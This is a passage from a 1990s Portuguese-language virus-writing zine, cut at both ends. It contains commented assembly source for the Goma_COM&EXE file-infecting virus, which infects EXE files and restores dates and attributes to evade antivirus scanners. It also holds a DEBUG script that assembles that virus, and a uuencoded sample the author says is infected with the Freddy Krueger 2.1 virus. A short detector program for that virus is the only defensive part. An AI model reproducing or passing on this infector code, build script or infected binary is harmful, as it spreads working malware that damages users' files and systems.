Restaurar_data_hora: ; \par pop dx ; \par pop cx ; Os valores originais \par mov ah,Data_Hora ; de data e hora serao \par mov al,00h ; restaurados \par inc al ; (despistar Av's) \par int 21h ; \par ; \par inc byte ptr [bp + Infectados] ; Infec\'87\'e4es + 1 !!! \par ; \par Fechar_arquivo: ; \par pop ds dx cx ; restaurar os atributos \par call mudar_attributos ; do arquivo \par ; \par mov ah,Fechar ; Fechar o Arquivo .... \par int 21h ; \par ; \par Nao_abriu: ; \par pop si ; Arquivo nao quis abrir ... \par ret ; \par ; \par Mudar_attributos: ; \par mov ah,Attrib ; 43h -> "ATTRIB.EXE" \par mov al,00h ; 01h -> Alterar os atributos \par inc al ; de nada para os originais \par int 21h ; \par ret ; \par ; \par Nao_infectar: ; Nao infecte, deu alguma zica \par pop cx dx ; tamanho, overlay etc ... \par jmp fechar_arquivo ; feche o arquivo (esta aberto) \par ; \par Mover_ponteiro: ; \par mov ah,Ponteiro ; Move ponteiros \par cwd ; \par xor cx,cx ; \par int 21h ; \par ; \par mov dx,ax ; Atualiza os registradores \par mov ah,Escrever ; \par mov cx,3 ; \par ret ; \par ; \par Infectar_exe: ; \par cmp word ptr [bp + Buffer + 26],0 ; \par ; Ah... Tipo na header, nessa posicao, \par ; se o byte nao for 0, o arquivo tem \par ; overlays, e mano, to com pregui\'87a de \par ; explicar uma header de um EXE inteira, \par ; entao leia e nao pergunte o porque ! \par jne Nao_infectar ; tem overlay, nao infecte ! \par ; \par cmp word ptr [bp + Buffer + 16],Marca_Exe ; ID \par je Nao_infectar ; J\~ esta infectado ! \par ; \par ;;;;;;;;;;; Header do EXE ;;;;;;;;;;;;;; \par les ax,dword ptr [bp + Buffer + 20] ; \par mov [bp + exe_cs],es ; \par mov [bp + exe_ip],ax ; \par les ax,dword ptr [bp + Buffer + 14] ; \par mov [bp + exe_ss],ax ; \par mov [bp + exe_sp],es ; \par mov word ptr [bp + Buffer + 16],Marca_Exe ; \par ; \par mov ah,Ponteiro ; Vamos para o fim do \par mov al,02h ; arquivo e colocar o virus l\~ ... \par cwd ; \par xor cx,cx ; \par int 21h ; \par ; \par push ax dx ; Salvar o tamanho do arquivo \par ; \par ;;;;; Calculando offset de CS e IP ;;;;;; \par push bx ; \par mov cl,12 ; \par shl dx,cl ; \par mov bx,ax ; \par mov cl,4 ; \par shr bx,cl ; \par add dx,bx ; \par and ax,15 ; \par pop bx ; \par ; \par sub dx,word ptr [bp + Buffer + 8] ; \par mov word ptr [bp + Buffer + 22],dx ; \par mov word ptr [bp + Buffer + 20],ax ; \par add dx,100h ; \par mov word ptr [bp + Buffer + 14],dx ; \par ; \par pop dx ax ; Calcular o tamanho \par ; \par add ax,Tamanho_virus; \par adc dx,0 ; \par mov cx,512 ; em paginas \par div cx ; salve o resultado \par inc ax ; \par mov word ptr [bp + Buffer + 2],dx ; \par mov word ptr [bp + Buffer + 4],ax ; \par ; \par mov ah,Escrever ; Escrever o virus na \par mov cx,Tamanho_virus + 3 ; fita !!! \par lea dx,[bp + Virus_real] ; \par int 21h ; \par ; \par mov ah,Ponteiro ; Voltar para o comeco \par mov al,00h ; do arquivo \par cwd ; \par xor cx,cx ; \par int 21h ; \par ; \par call header ; Despistar AV's \par ; \par lea dx,[bp + Buffer]; Beleza, infectado. Agora \'82 s\'a2 \par ; restaurar os atributos e data/hora \par int 21h ; \par ; \par jmp restaurar_data_hora ; Restaurar ... \par ; \par Acao: ; Uma mensagem s\'a2 para nao ficar \par mov ah,Data_Hora_Sis ; sem nada !!! \par call int_21 ; \par ; \par cmp dh,mes_ativacao ; \par jne Sem_acao ; \par ; \par cmp dl,dia_ativacao ; \par jne Sem_acao ; \par ; \par mov ah,09h ; \par lea dx,[bp+mensagem] ; \par int 21h ; \par ; \par ret ; \par ; \par ; \par Sem_acao: ; \par ret ; \par ; \par Despista_avp: ; Despista Avp \par call $ + 3 ; \par pop bp ; \par sub bp,offset $ - 1 ; \par int 3 ; Debug's .... \par ret ; \par ; \par Int_24: ; \par mov al,3 ; Int 24 handler \par iret ; \par ; \par Header: ; Esta aqui para despistar \par mov cx,28 ; Av's \par mov ah,Escrever ; \par ret ; \par ; \par Int_21: ; \par int 21h ; \par ret ; \par ; \par Dta_1: ; Data Transfer Area \par mov dx,80h ; um dia eu explico ela \par mov ah,Dta ; direitinho .... \par ret ; \par ; \par ; \par Com_masc db ').COM',0 ; \par Jump_3 db 0E9h,0,0 ; Jump (para rodar o virus) \par Infectados db 0 ; Infectados \par ; \par ; \par Fim_virus: ; \par ; \par Buffer db 28 dup (?) ; Buffer de Leitura \par DTA_80 db 128 dup(?) ; DTA \par ; \par Virus ends ; Fim do Virus \par end Inicio ; \par ; \par ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; GOMA_COM&EXE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; \par \par \par \pard\qc\plain\f5\fs56\b\i\ul Script do V\'edrus \par \plain\f6\fs20 \par \pard\plain\f6\fs20 Essa parte do zine contem um script para ser utilizado no debug do \par dos, esse script cria o virus Goma_Com&Exe a partir do debug pelo simples \par comando: \par \par DEBUG < (arquivo.scr) \par \par Duvidas vide edicoes passadas do zine . \par \par \par ;;;;;;;;;;;;;;; Goma_Com&Exe.SCR ;;;;;;;;;;;;;;;;;;;;; \par N Goma_896.COM \par E 0100 E9 03 00 CD 20 00 1E 06 0E E8 4D 03 1F 8D 96 9F \par E 0110 04 B4 1A CD 21 3E C6 86 82 04 00 3E FF B6 8D 01 \par E 0120 3E FF B6 8F 01 3E FF B6 93 01 3E FF B6 91 01 E8 \par E 0130 A3 00 E8 70 00 E8 08 03 3E 8F 86 91 01 3E 8F 86 \par E 0140 93 01 3E 8F 86 8F 01 3E 8F 86 8D 01 07 1F E8 22 \par E 0150 03 CD 21 81 FC 4F 47 74 03 CD 20 C3 8C D8 05 10 \par E 0160 00 50 2E 03 86 8D 01 2E 89 86 8B 01 2E 8B 86 8F \par E 0170 01 2E 89 86 89 01 58 2E 03 86 93 01 FA 8E D0 2E \par E 0180 8B A6 91 01 E8 0E 00 FB EA 00 00 00 00 F0 FF 03 \par E 0190 01 FE FF F0 FF 33 C0 99 33 DB E8 00 00 BE 00 01 \par E 01A0 33 FF 33 ED C3 B4 4E 3E FE 86 79 04 8D 96 79 04 \par E 01B0 CD 21 3E FE 8E 79 04 72 15 8D 96 BD 04 E8 1E 01 \par E 01C0 3E 80 BE 82 04 07 74 06 B4 4F CD 21 73 EB C3 29 \par E 01D0 2E 45 58 45 00 B4 4E 3E FE 86 CF 01 8D 96 CF 01 \par E 01E0 CD 21 3E FE 8E CF 01 72 15 8D 96 BD 04 E8 EE 00 \par E 01F0 3E 80 BE 82 04 07 74 06 B4 4F CD 21 73 EB C3 5B \par E 0200 54 44 47 27 39 39 5D 0D 0A 20 20 20 47 6F 6D 61 \par E 0210 5F 43 4F 4D 26 45 58 45 20 70 6F 72 20 6E 69 6D \par E 0220 5F 62 75 73 40 68 6F 74 6D 61 69 6C 2E 63 6F 6D \par E 0230 20 65 6D 20 31 39 39 39 20 0D 0A 0D 0A 20 44 65 \par E 0240 64 69 63 61 64 6F 20 85 20 6D 65 6D A2 72 69 61 \par E 0250 20 64 6F 20 52 65 67 69 73 20 65 20 64 6F 20 47 \par E 0260 75 69 6E 6F 2C 20 76 61 6C 65 75 20 69 72 6D C6 \par E 0270 6F 73 20 2E 2E 2E 0D 0A 0D 0A 20 56 61 6C 65 75 \par E 0280 20 85 20 74 6F 64 61 20 61 20 67 61 6C 65 72 61 \par E 0290 20 71 75 65 20 6D 65 20 64 65 75 20 75 6D 20 61 \par E 02A0 70 6F 69 6F 20 6E 61 20 72 65 61 6C 69 7A 61 87 \par E 02B0 C6 6F 20 0D 0A 20 64 65 20 6D 61 69 73 20 65 73 \par E 02C0 73 65 20 70 72 6F 6A 65 74 6F 20 65 20 65 73 74 \par E 02D0 61 6D 6F 73 20 61 69 20 2E 2E 2E 24 0D 0A EB 00 \par E 02E0 56 33 C0 8E C0 8D 86 63 04 26 A3 90 00 26 8C 0E \par E 02F0 92 00 B4 43 B0 00 CD 21 51 52 1E 33 C9 E8 82 00 \par E 0300 B4 3D B0 02 CD 21 72 78 93 B4 57 B0 00 CD 21 51 \par E 0310 52 B4 3F B9 1C 00 8D 96 83 04 CD 21 3E 80 BE 83 \par E 0320 04 5A 74 7A 3E 80 BE 83 04 4D 74 72 B0 02 E8 5E \par E 0330 00 81 FA 7F FB 77 54 81 EA 80 03 3E 3B 96 84 04 \par E 0340 74 49 81 C2 80 03 3E 89 96 80 04 8D 96 83 04 CD \par E 0350 21 B4 40 B9 7D 03 8D 96 06 01 CD 21 32 C0 E8 2E \par E 0360 00 8D 96 7F 04 CD 21 5A 59 B4 57 B0 00 FE C0 CD \par E 0370 21 3E FE 86 82 04 1F 5A 59 E8 06 00 B4 3E CD 21 \par E 0380 5E C3 B4 43 B0 00 FE C0 CD 21 C3 59 5A EB E7 B4 \par E 0390 42 99 33 C9 CD 21 8B D0 B4 40 B9 03 00 C3 3E 83 \par E 03A0 BE 9D 04 00 75 E5 3E 81 BE 93 04 4F 47 74 DC 3E \par E 03B0 C4 86 97 04 3E 8C 86 8D 01 3E 89 86 8F 01 3E C4 \par E 03C0 86 91 04 3E 89 86 93 01 3E 8C 86 91 01 3E C7 86 \par E 03D0 93 04 4F 47 B4 42 B0 02 99 33 C9 CD 21 50 52 53 \par E 03E0 B1 0C D3 E2 8B D8 B1 04 D3 EB 03 D3 25 0F 00 5B \par E 03F0 3E 2B 96 8B 04 3E 89 96 99 04 3E 89 86 97 04 81 \par E 0400 C2 00 01 3E 89 96 91 04 5A 58 05 7D 03 83 D2 00 \par E 0410 B9 00 02 F7 F1 40 3E 89 96 85 04 3E 89 86 87 04 \par E 0420 B4 40 B9 80 03 8D 96 06 01 CD 21 B4 42 B0 00 99 \par E 0430 33 C9 CD 21 E8 33 00 8D 96 83 04 CD 21 E9 27 FF \par E 0440 B4 2A E8 2B 00 80 FE 0A 75 0E 80 FA 16 75 09 B4 \par E 0450 09 8D 96 FF 01 CD 21 C3 C3 E8 00 00 5D 81 ED 5C \par E 0460 04 CC C3 B0 03 CF A4 A4 A4 C3 B9 1C 00 B4 40 C3 \par E 0470 CD 21 C3 BA 80 00 B4 1A C3 29 2E 43 4F 4D 00 E9 \par E 0480 00 00 00 \par RCX \par 0383 \par W \par Q \par ;;;;;;;;;;;;;;; Goma_Com&Exe.SCR ;;;;;;;;;;;;;;;;;;;;; \par \par \par Bom, para encerrar a descricao do v\'a1rus ... \par \par GOMA Runtime,Bytes 892(eu acho),Com(bugs) EXE, \par \tab \tab \tab Mensagem em 22.10.???? \par Com&Exe Restaura Data/Hora e Atributos \par \par \par t+ \par nim_bus@hotmail.com \par \par \plain\f3\fs20 \par \par \pard\qc\plain\f4\fs72\cf1\b\i\ul Freddy Krueger 2.1 \par \pard\plain\f6\fs20 \par \tab \tab \tab \tab \tab \tab \tab \tab \tab \par \par \pard\qc\plain\f4\fs24\b\ul Programa em assembly para detectar a presenca do virus Freddy Krueger 2.1 (Krueger.2271) \par \par \pard\plain\f6\fs20 \par \par \tab O programa aqui apresentado n\'c6o \'82 propriamente um ant\'a1-v\'a1rus, ele \par \'82 um detector do v\'a1rus (nada mais que isso). O funcionamento \'82 muito \par simples, ao executar o programa ele ira verificar se j\~ se encontra na \par mem\'a2ria (se sim apresenta uma mensagem de j\~ instalado) ou n\'c6o, nesse \par \'a3ltimo caso instalando-o e apresentando uma mensagem de instala\'87\'c6o bem \par sucedida. Uma vez residente na memoria (Funcao 31h (Int 21h)) o progra- \par ma ficar\~ monitorando algumas Int's do computador e caso encontre em \par determinadas partes da memoria uma certa sequencia de instrucoes (que \par existem no v\'a1rus FK) escrevera uma mensagem avisando ao us\'a3ario que seu \par computador esta infectado, e para evitar maiores danos trava o computa- \par dor (HLT). \par \tab Creio que \'82 s\'a2 isso, ah o programa original me parece que \'82 de au- \par toria de Leandro Carrilho de Souza . \par \par \par \pard\qc\plain\f6\fs20 \plain\f6\fs56\b\ul C\'f3digo Fonte\plain\f6\fs20 \par \pard\plain\f6\fs20 \par ;;;;;;;;;;;;;;;;;;;;;;;;;; GomaDetect_FK ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; \par ; * Utilize o compilador TASM/TLINK 3 para compilar ; \par ; Ex. : Tasm GdetFK.asm /m ; \par ; Tlink GdetFK /t ; \par ;;;;;;;;;;;;;;;;;;;;;;; Esta pronto seu Detector ;;;;;;;;;;;;;;;;;;;;;;;;; \par page 22101997 \par title Virus Brasil n\'a74 em 1999 por nim_bus@hotmail.com \par name Goma_Detector_Virus_Freddy_Krueger \par .286c ; \par .model tiny ; \par .code ; \par \tab org 100h ; \par \tab \tab \tab \tab \tab ; \par Det_FK Proc Far ; \par \tab \tab \tab \tab \tab ; \par Inicio: ; \par \tab JMP Instalador ; Salto para o Instalador \par ;---------------------------------------; \par ; Data ; \par ;---------------------------------------; \par Instalado: ; Mensagem de Instalacao \par DB "GomaDetect FK ",0dh,0ah ; \par DB "Por Nim_Bus@Hotmail.com [TDG'99] ",0dh,0ah \par DB "Instalado Com Sucesso.$" ; \par ;---------------------------------------; \par Ja_Inst: ; Mensagem de J\~ Instalado \par DB "GomaDetect FK ",0dh,0ah ; \par DB "Por Nim_Bus@Hotmail.com [TDG'99]",0dh,0ah \par DB "Ja Instalado Anteriormente.$" ; \par ;---------------------------------------; \par String DB 0 ; \par DB '>' ; 3Eh ; \par DB 62 DUP(0) ; \par ;---------------------------------------; \par IntAnt DW 0 ; \par ;---------------------------------------; \par Aux_Int DW 0 ; \par DB 4 DUP(0) ; \par DW 003Eh ; \par ;---------------------------------------; \par Encontrado db 73 dup (0) ; Mensagem de V\'a1rus Encontrado \par db 48 dup (20h) ; \par db "Computador Infectado pelo virus Freddy Krueger 2.1" \par db 16 DUP(' ') ;20h ; \par db 0 ; \par ;---------------------------------------; \par FK_data DB 0 ; \par ;---------------------------------------; \par ; Ver se ja esta instalado ; \par ;---------------------------------------; \par Instalador: ; \par \tab Mov AX,3590h ; Obtem vetor Int 90h \par \tab Int 21h ; \par \tab \tab \tab \tab \tab ; \par \tab OR BX,BX ; Esta instalado ? \par \tab JZ Instala ; (Jz=Jne) Nao! Entao instale \par \tab \tab \tab \tab \tab ; \par \tab Mov AH,9h ; Programa ja instalado \par \tab Mov DX,Offset Ja_Inst ; \par \tab Int 21h ; Escreva mensagem \par \tab \tab \tab \tab \tab \tab ; \par \tab Mov AX,4C00h ; Finalize o programa \par \tab Int 21h ; \par \tab \tab \tab \tab \tab \tab ; \par ;---------------------------------------; \par ; Instalar ; \par ;---------------------------------------; \par Instala: ; \par \tab Mov AH,9 ; Programa Instalado com Sucesso \par \tab Mov DX,Offset Instalado ; \par \tab Int 21h ; \par \tab \tab \tab \tab \tab \tab ; \par \tab Mov AX,3508h ; Obtem vetor Int 8h \par \tab Int 21h ; \par \tab \tab \tab \tab \tab \tab ; \par \tab Mov CS:IntAnt,BX ; \par \tab Mov CS:Aux_Int,ES ; \par \tab Mov AX,CS ; \par \tab Mov DS,AX ; \par \tab Mov AX,2508h ; Define novo vetor da Int 8h \par \tab Mov DX,Offset NovaInt8 ; \par \tab Int 21h ; \par \tab \tab \tab \tab \tab \tab ; \par \tab Mov AX,3510h ; Obtem vetor Int 10h \par \tab Int 21h ; \par \tab \tab \tab \tab \tab \tab ; \par \tab Push ES ; \par \tab Pop DS ; \par \tab Push BX ; \par \tab Pop DX ; \par \tab \tab \tab \tab \tab \tab ;\tab \par \tab Mov AX,2590h ; Define o novo vetor da Int 90h \par \tab Int 21h ; \par \tab \tab \tab \tab \tab \tab ; \par \tab Call Programa ; Detectar o virus FK na memoria \par \tab \tab \tab \tab \tab \tab ; \par \tab Mov AX,CS ; \par \tab Mov DS,AX ; \par \tab Mov ES,AX ; \par \tab Mov AX,3100h ; Termina e Deixa Residente \par \tab Mov DX,0800h ; \par \tab Mov CX,0004h ; \par \tab SHR DX,CL ; \par \tab INC DX ; \par \tab Int 21h ; \par ;---------------------------------------; \par ; Nova Int 8h ; \par ;---------------------------------------; \par NovaInt8: ; \par \tab CLI ; \par \tab PushF ; \par \tab Push AX BX CX DX DI SI BP DS ES ; \par \tab XOR AX,AX ; \par \tab Mov DS,AX ; \par \tab Mov SI,0210h ; \par \tab LODSW ; \par \tab \tab \tab \tab \tab \tab ; \par \tab OR AX,AX ; \par \tab JZ Fim ; \par \tab \tab \tab \tab \tab \tab ; \par \tab Mov AL,CS:FK_data ; \par \tab OR AL,AL ; \par \tab JNZ Fim ; Nao achou restaure a Int Antiga \par ;---------------------------------------; \par ; Achou o V\'a1rus ; \par ;---------------------------------------; \par \tab INC CS:FK_data ; \par \tab PushF ; \par \tab Call Dword Ptr CS:IntAnt ; Chama a antiga Int \par \tab Call Limpa_Tela ; Limpe a tela \par \tab Call Est_Msg ; \par \tab Call Msg_Encontrado ; Mensagem de virus encontrado \par \tab HLT ; Trave por favor ... \par ;---------------------------------------; \par ; FIM ; \par ;---------------------------------------; \par Fim: ; \par \tab Pop ES DS BP SI DI DX CX BX AX ; \par \tab PopF ; \par \tab JMP Dword Ptr CS:IntAnt ; \par \tab \tab \tab \tab \tab \tab ; \par Det_FK ENDP ; \par ;---------------------------------------; \par ; Estilo da Mensagem ; \par ;---------------------------------------; \par Est_Msg Proc Near ; \par \tab Mov AX,0B800h ; \par \tab Mov ES,AX ; \par \tab Mov AX,CS ; \par \tab Mov DS,AX ; \par \tab Mov SI,0257h ; \par \tab XOR DI,DI ; \par \tab Mov AX,0F400h ; \par \tab \tab \tab \tab \tab \tab ; \par Laco_Est_Msg: ; \par \tab LODSB ; \par \tab OR AL,AL ; \par \tab JZ Ret_Est_Msg ; \par \tab STOSW ; \par \tab JMP Laco_Est_Msg ; \par \tab \tab \tab \tab \tab \tab ; \par Ret_Est_Msg: ; \par \tab RETN ; \par \tab \tab \tab \tab \tab \tab ; \par Est_Msg ENDP ; \par ;---------------------------------------; \par ; Escreve mensagem que encontrou o FK ; \par ;---------------------------------------; \par Msg_Encontrado Proc Near ; \par \tab \tab \tab \tab \tab ; \par \tab Mov AX,CS ; \par \tab Mov DS,AX ; \par \tab Mov ES,AX ; \par \tab Mov CS:Encontrado,0Dh ; \par \tab Mov AH,0E3h ; \par \tab Mov SI,020Ch ; \par \tab Mov DI,024Dh ; \par \tab Int 21h ; Escreva a mensagem de encontrado \par \tab \tab \tab \tab \tab ; \par \tab \tab \tab \tab \tab \tab ; \par \tab Mov ax,0E07h ; \par \tab Int 10h ; Bipe \par \tab \tab ; \par \tab RETN ; \par \tab \tab \tab \tab \tab ; \par Msg_Encontrado ENDP ; \par ;---------------------------------------; \par ; Limpa a Tela ; \par ;---------------------------------------; \par Limpa_Tela Proc Near ; \par \tab \tab \tab \tab \tab \tab ; \par \tab Mov AX,0003h ; \par \tab Int 10h ; Limpe a tela \par \tab \tab \tab \tab \tab \tab ; \par \tab RETN ; \par \tab \tab \tab \tab \tab \tab ; \par Limpa_Tela ENDP ; \par ;---------------------------------------; \par ; Programa ; \par ;---------------------------------------; \par Programa Proc Near ; \par \tab \tab \tab \tab \tab \tab ; \par \tab Mov AH,0EEh ; \par \tab Int 21h ; \par \tab \tab \tab \tab \tab \tab ; \par \tab Push AX BX CX ; \par \tab \tab \tab \tab \tab \tab ; \par \tab Mov AX,CS ; \par \tab Mov DS,AX ; \par \tab Mov ES,AX ; \par \tab Mov DI,021Ch ; \par \tab Pop AX ; \par \tab Call Funcao_1 ; \par \tab \tab \tab \tab \tab \tab ; \par \tab Pop AX ; \par \tab Call Funcao_1 ; \par \tab \tab \tab \tab \tab \tab ; \par \tab Pop AX ; \par \tab Call Funcao_1 ; \par \tab \tab \tab \tab \tab \tab ; \par \tab RETN ; \par Programa ENDP ; \par ;---------------------------------------; \par ; Funcao 1 ; \par ;---------------------------------------; \par Funcao_1 Proc Near ; \par \tab Push AX ; \par \tab Mov CL,4 ; \par \tab XCHG AL,AH ; \par \tab Push AX ; \par \tab SHR AL,CL ; \par \tab Call Funcao_2 ; \par \tab \tab \tab \tab \tab \tab ; \par \tab Pop AX ; \par \tab Call Funcao_2 ; \par \tab \tab \tab \tab \tab \tab ; \par \tab Pop AX ; \par \tab Push AX ; \par \tab Mov CL,4 ; \par \tab SHR AL,CL ; \par \tab Call Funcao_2 ; \par \tab \tab \tab \tab \tab \tab ; \par \tab Pop AX ; \par \tab Call Funcao_2 ; \par \tab \tab \tab \tab \tab \tab ; \par \tab RETN ; \par Funcao_1 ENDP ; \par ;---------------------------------------; \par ; Funcao 2 ; \par ;---------------------------------------; \par Funcao_2 Proc Near ; \par \tab AND AL,0Fh ; \par \tab ADD AL,90h ; \par \tab DAA ; \par \tab ADC AL,40h ; \par \tab DAA ; \par \tab CLD ; \par \tab STOSB ; \par \tab RETN ; \par Funcao_2 ENDP ; \par ;---------------------------------------; \par \tab END Det_FK ; \par ;;;;;;;;;;;;;;;;;;;;;;;;;;;; GomaDetect_FK ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; \par \par Bom, ai voc\'88 vira e me pergunta, pra que eu quero a porra de um AV \par se eu nao tenho o v\'a1rus, menino apressado, o v\'a1rus ta ai em baixo, n\'c6o \par tem os fontes, porque eu nao arrumei e nem consegui descompilar, mas tem \par ele ai infectando um arquivo isca. \par N\'c6o comentarei muito sobre o v\'a1rus, saiba que \'82 um TSR muito bom \par que monitora quase todas as fun\'87\'e4es do DOS relacionadas a arquivos, como \par rename, copy, del, dir etc... \par Caso deseje uma descri\'87\'c6o detalhada sobre o virus, visite algum \par Virus Database por ai, se for ir mesmo sugiro o AVP (www.avp.com) \'82 um \par dos melhores... \par \par \par \pard\qc\plain\f5\fs72\b\i\ul Freddy.2271\plain\f6\fs20 \par \pard\plain\f6\fs20 \par \par \tab \tab \plain\f5\fs40\ul Freddy Krueger 2.1 (Krueger.2271) \par \plain\f6\fs20 \par \par Como dito acima, n\'c6o arrumei os fontes do FK, mas arrumei ele \par e infectei um arquivo isca que segue uuencodado logo abaixo, se voc\'88 n\'c6o \par tem o UU encode/decode, vide n\'a3meros anteriores e obtenha o programa, o \par comando para UUdecode \'82 : \par \par UUdecode Freddy.uue \par \par \tab \tab \tab \par \plain\f6\fs56\b\i\ul \tab \tab \tab UUencode\plain\f6\fs20 \par \plain\f6\fs56\b\i\ul \tab \plain\f6\fs20 \par \par ;;;;;;;;;;;;;;;;;;;;; Freddy.uue ;;;;;;;;;;;;;;;;;;;;;;;;;;;; \par begin 600 freddy.com \par MZ?`+M`G-(;1,S2%!<G%U:79O($EN9F5C=&%D;R!#;VT@;R!6:7)U<R!&<F5D \par M9'D@2W)U9V=E<B0````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M```````````````````````````````````````````````````````````` \par M``````````````````````````````````````````````````````!%3T8Y \par MV(?=A],&#@>YWPB_3PVW`#G!.<B)_@X?<PR)U3G0A^J)Q8G%B<7\\K.L&[M?, \par MW=I3--'0P.L(AH\\D5?*+<+&(!;<`D(?=^HG51Y#K`;;BV$4YR$*)U9")W4)0 \par M6B1SV='0TY'1/=/1-5+?T-'0):E4BXQ448OW-T%QZ&EK9>IFP77FXF-@ZV'C \par M9G!V=W=Q]O/&<'9WT<3&<'9WT=G1Q,9S_7/1I='1?A`F]%*7L9:]%+WU>M*6 \par ML<(!4=%,,&O-`=#1TI:Q#`O1PA%.+B%2ZT(,\\5'"1=Y0T40P`-#1EK'67A0J \par M2"X-T=NO*(.E]E,,0=&,OM&E-=%2?L:1#]3146I8%!-;T0#141036M$`T%$- \par MT5$N(=9>E[%3V=%1$]/141/5T:R6&]71%`/2T2R7L9:]$3+0T<8N1\\BQ-J5& \par MT:6_T>A#QK+24573QI'.+M70Z-+&LM)152ZE"M#HU\\:NUE%5ZU.E6]!H)J0: \par MT-#;^7AY^)&O\\6M!%#V+Q#>3QDS65-'HV\\9,VE?1Z%>E#M-,.&K2%+R)V<E2 \par M_'U\\_3#Y>?B+Q#>3D:Q?Z-"(WZZRD:Y7Z%"*47$5VE?1%=94T?Q]_3"L^7EZ \par MWDBQEKT)T#@@%"PX(A12%5,1+)/1:]/"`-=1%5H4<M`5<]`1+)/1:]/"`-91 \par ME[$5<M!>?GW]+#"L^7EZWDBQEKT)T#@@%"PX(A13%5(4<]`5<M!>?GW]+#"1 \par MKTQK5*6FT:7M4:7'423VD:_/Z_&1KT_K3)&O<>O*D:]PZTF1K_KKQY&O=.O; \par M+3#RZ&/CXVW!=/AK8W)CZ,'(QDFE"=&E3%&E!5'&D<[155%KU2TPI9[1I<51 \par MI8;1I5'1,/EX>?C>TM9>BT8WDY?2)]45WB;5B]R,XE4WDXOV2#6,T%4WD^A0 \par MI5C1B]P4VB;5EMXGU3>34E[\\?7S],'GZ>M[2ES66/98Q%,XDU8Z350U7T:\\H \par M@U)>?OY],'GX^M[2ES66/98Q%<XDU8Y-T:7^4!"@U5"H#=+1KRB#4E[^_'TP \par M^7G2UE(.T%6OB=$-X]&HAE)]_3!Y^GK2%*C64@[050WCT:\\H@U)^_GTP^7GX \par M>M+64J6W+B^)_Q0V$27057&HANM5<HG,PLUS46M0$#+0KZ65+E)^_'W],/EZ \par MWM9>I8$NB<S-<Z[K5XG_S7.NZ]*R<R[_)%%VI>`N7G[],/GXWHO<C.)5UEXW \par MDXMV-Y/H4*5$+HO<%-HFU9;>)]4WDU[\\_3#Y>@[05<:1;U',:UW&E%/#7JZU \par MQH`NU7[],/5EP?+H9>/H961!BUTWDR2E^7AY>@ZB510]>:48T%`^%=XJU?T` \par M+]45UBW5$3*B517.+-5^?7S],'EZ^DBJ%-8OU13.+-4H@Q36+=44SBS5I?]0 \par M_GY],/EX>?C>TOIZK9>UEKV6L;+2U-'1LM+155$-4M&.1]$4SB35*()K4[+2 \par MU-%1#,/1C#S1I>POB\\J4VB[5KK`WDT\\N+FM0);=1*B`J(52X:U-//E7HJ8S0 \par M58W1<#>3Z*(5UB752#6-47`WD^@]C=!/-Y-H4"68412]`"#5BTX-W]&,6=$W \par MDVA0)>I1C=%Z%-X@U3>3Z*@4,4->T4]?T6O5LM+15=$E?5&-7]$0(:%4M17: \par M(M45UB/5#3[5+LI7T2[*5-&E,J^E**X6TE31%M)7T1'.6=%W_.M\\,M(KU=/1 \par MC=#P2#44.9'.U-'1ZU4-+BX4.43:*M4WD^B6%+41+='0Z)(1+4RJZE`E;RX4 \par MSM3245>-T5%14Q`E4`%9T0!;T8DEE"$`6=$!6-$`6M&4,P!8T26=T;+2U-'0 \par M,M(KU=_1`5[1`-71`4'1`-+1`4/1`-#1`4+1`-/1`5O1$,Y8T='K4?4JPE;1 \par M4-)8T1"XT5-6T1"XT4.I+@`IU17:*-50TBK5$+C1:%`D;9DJRE;15+CK4?$` \par M6]$5VEC1`2G5%-HHU2K*3M%$TEW1`$+1,M)#T='1`%[1`2K54]%1`$'1%-HI \par MU136*-6-T?`WD^A+%-8JU8OQ%-X@U8RB5:75KC>3C='P2#44.3>3Z-V+\\136 \par M*]6,6=$WDXU1>A36(]44VB+5-Y.+SA3>(-4WDQ36)=6,T%6-47`WDPS#T:6X \par M+,:1SM%5T>M1+7[^4E[\\?7S],/G>2+&6O0'GT\\(`T-)>_3#YC$=;Q@'0TBJ@ \par 